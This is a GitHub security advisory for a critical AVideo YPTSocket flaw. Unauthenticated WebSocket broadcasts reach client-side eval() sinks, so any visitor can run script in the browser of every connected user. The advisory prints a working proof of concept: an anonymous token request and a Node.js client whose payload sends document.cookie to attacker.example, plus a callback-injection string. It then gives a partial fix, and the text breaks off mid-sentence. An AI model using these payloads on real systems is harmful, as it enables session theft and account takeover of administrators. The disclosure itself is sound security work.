GitHub Advisoryadvisory · Packagist
GHSA-gph2-j4c9-vhhr WWBN AVideo YPTSocket WebSocket Broadcast Relay Leads to Unauthenticated Cross-User JavaScript Execution via Client-Side eval() Sinks
CRITICAL
Official page ↗
- Aliases
- CVE-2026-40911
- Ecosystem
- Packagist
- Packages
- wwbn/avideo
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- Weaknesses
- CWE-94
- Reviewed
- 2026-04-14
Affected packages
• Packagist wwbn/avideo: <= 29.0 (no fix yet)
Description
Summary
The YPTSocket plugin's WebSocket server relays attacker-supplied JSON message bodies to every connected client without sanitizing the `msg` or `callback` fields. On the client side, `plugin/YPTSocket/script.js` contains two `eval()` sinks fed directly by those relayed fields (`json.msg.autoEvalCodeOnHTML` at line 568 and `json.callback` at line 95). Because tokens are minted for anonymous visitors and never revalidated beyond decryption, an unauthenticated attacker can broadcast arbitrary JavaScript that executes in the origin of every currently-connected user (including administrators), resulting in universal account takeover, session theft, and privileged action execution.
Details
Token issuance is unauthenticated
`plugin/YPTSocket/getWebSocket.json.php:11-21` returns a token to anyone whose request reaches the endpoint — the only check is that the plugin is enabled:
```php
if(!AVideoPlugin::isEnabledByName("YPTSocket")){
$obj->msg = "Socket plugin not enabled";
die(json_encode($obj));
}
$obj->error = false;
$obj->webSocketToken = getEncryptedInfo(0);
$obj->webSocketURL = YPTSocket::getWebSocketURL();
```
`getEncryptedInfo()` in `plugin/YPTSocket/functions.php:3-16` populates `from_users_id = User::getId()` (0 for guests) and `isAdmin = User::isAdmin()` (false for guests). The issued token is accepted by the WebSocket server's `onOpen` handler (`Message.php:44-52`) solely by successful decryption — there is no requirement for the connecting principal to be authenticated.
Server relays attacker JSON verbatim
`plugin/YPTSocket/Message.php:191-245` — the default branch of `onMessage` only rewrites `from_identification`:
```php
public function onMessage(ConnectionInterface $from, $msg) {
...
$json = _json_decode($msg);
if (empty($json->webSocketToken)) { return false; }
if (!$msgObj = getDecryptedInfo($json->webSocketToken)) { return false; }
switch ($json->msg) {
...
default:
$this->msgToArray($json);
if (isset($json['from_identification'])) {
$json['from_identification'] = strip_tags((string)($msgObj->user_name ?? ''));
}
...
} else {
$this->msgToAll($from, $json); // broadcast
}
break;
}
}
```
`msgToResourceId()` at `Message.php:297-310` copies the attacker-controlled `callback` and `msg` fields into the outbound payload:
```php
if (isset($msg['callback'])) {
$obj['callback'] = $msg['callback']; // tainted
...
}
...
} else if (!empty($msg['msg'])) {
$obj['msg'] = $msg['msg']; // tainted — entire object forwarded verbatim
}
```
`$obj` is JSON-encoded at line 335 and sent to every connected client.
Client-side sink #1: `autoEvalCodeOnHTML` → eval
`plugin/YPTSocket/script.js:163-169` (raw WebSocket transport) sets every inbound frame as `yptSocketResponse` and unconditionally calls `parseSocketResponse()`:
```js
connWS.onmessage = function (e) {
var json = JSON.parse(e.data);
...
yptSocketResponse = json;
parseSocketResponse();
...
};
```
`parseSocketResponse()` at `script.js:545-569` reaches the sink:
```js
async function parseSocketResponse() {
const json = yptSocketResponse;
...
if (json.msg?.autoEvalCodeOnHTML !== undefined) {
eval(json.msg.autoEvalCodeOnHTML); // { … processSocketJson(data) })`):
```js
if (json.callback) {
var code = "if (typeof " + json.callback + " == 'function') { myfunc = " + json.callback + "; } else { myfunc = defaultCallback; }";
socketLog('Executing callback:', json.callback);
eval(code);
...
}
```
Because `json.callback` is interpolated as raw source, a payload like `alert(document.cookie);window.x` breaks out of the `typeof` expression and executes during the condition evaluation.
PoC
Prerequisite: target is running AVideo with the YPTSocket plugin enabled (default on most installs).
Step 1 — obtain a token anonymously (no cookies, no auth):
```bash
curl -s 'https://target.example/plugin/YPTSocket/getWebSocket.json.php'
```
Expected output (abbreviated):
```json
{"error":false,"msg":"","webSocketToken":"","webSocketURL":"wss://target.example:8888/?webSocketToken=&..."}
```
Step 2 — connect to the WebSocket endpoint using the returned `webSocketURL`. A minimal Node.js client:
```js
const WebSocket = require('ws');
const TOKEN = '';
const URL = '';
const ws = new WebSocket(URL, { rejectUnauthorized: false });
ws.on('open', () => {
// Payload 1 — primary sink (raw WebSocket transport):
ws.send(JSON.stringify({
webSocketToken: TOKEN,
msg: {
autoEvalCodeOnHTML:
"fetch('https://attacker.example/x?c='+encodeURIComponent(document.cookie));" +
"alert('XSS as '+document.domain);"
}
}));
// Payload 2 — secondary sink (reaches both raw WS and Socket.IO clients):
ws.send(JSON.stringify({
webSocketToken: TOKEN,
msg: "p",
callback: "alert(document.domain);window.x"
}));
});
```
Step 3 — observe impact. Every other user currently connected to the same AVideo instance (via any page that loads YPTSocket's `script.js` — the global footer, the admin dashboard, live streams, video pages) receives the broadcast. In their browser:
• Payload 1 reaches `parseSocketResponse()` at line 568 and evaluates `eval(json.msg.autoEvalCodeOnHTML)`, firing the exfiltration request to `attacker.example` with `document.cookie`.
• Payload 2 reaches `processSocketJson()` at line 95; the synthesized `code` string is `if (typeof alert(document.domain);window.x == 'function') { ... }`, which executes `alert(document.domain)` during the `typeof` evaluation.
Any administrator who is online at the moment of the broadcast has their session cookie exfiltrated and/or arbitrary actions performed in their browser context.
Impact
A single unauthenticated request and one WebSocket frame grants the attacker universal client-side code execution across every user currently connected to the target AVideo instance. Concretely:
• Session theft of every connected user, including administrators (note: `HttpOnly` does not help because the attacker's JS runs in-origin and can call privileged endpoints directly without ever reading cookies).
• Privileged action execution on behalf of any admin who happens to be online — including plugin installation (`GHSA-v8jw-8w5p-23g3` shows admin plugin ZIP upload is already an RCE primitive), user promotion/demotion, video deletion, configuration changes.
• Stored cross-user JS persistence via `localStorage`, IndexedDB, or re-submitting the payload as a comment/title through admin credentials.
• Financial redirection (payment flows, crypto-donation addresses) and phishing via arbitrary DOM rewriting of the authentic AVideo origin.
• The scope change (S:C) is genuine: an unauthenticated (or low-privileged) attacker's actions cross the trust boundary into every other user's browser authorization context, including admin.
Recommended Fix
Multiple defense-in-depth layers are required:
1. Remove the client-side eval sinks entirely. `plugin/YPTSocket/script.js`:
```diff
• if (json.msg?.autoEvalCodeOnHTML !== undefined) {
• eval(json.msg.autoEvalCodeOnHTML);
• }
```
No legitimate server flow should push arbitrary JavaScript through a broadcast channel — if server-driven UI updates are needed, use structured data and predefined handler functions.
Replace the callback dispatch at lin…
Related
Alias · CVE (1)
- CVE-2026-40911 WWBN AVideo is an open source video platform. vulnerability
Weakness · CWE (1)
- CWE-94 Improper Control of Generation of Code weakness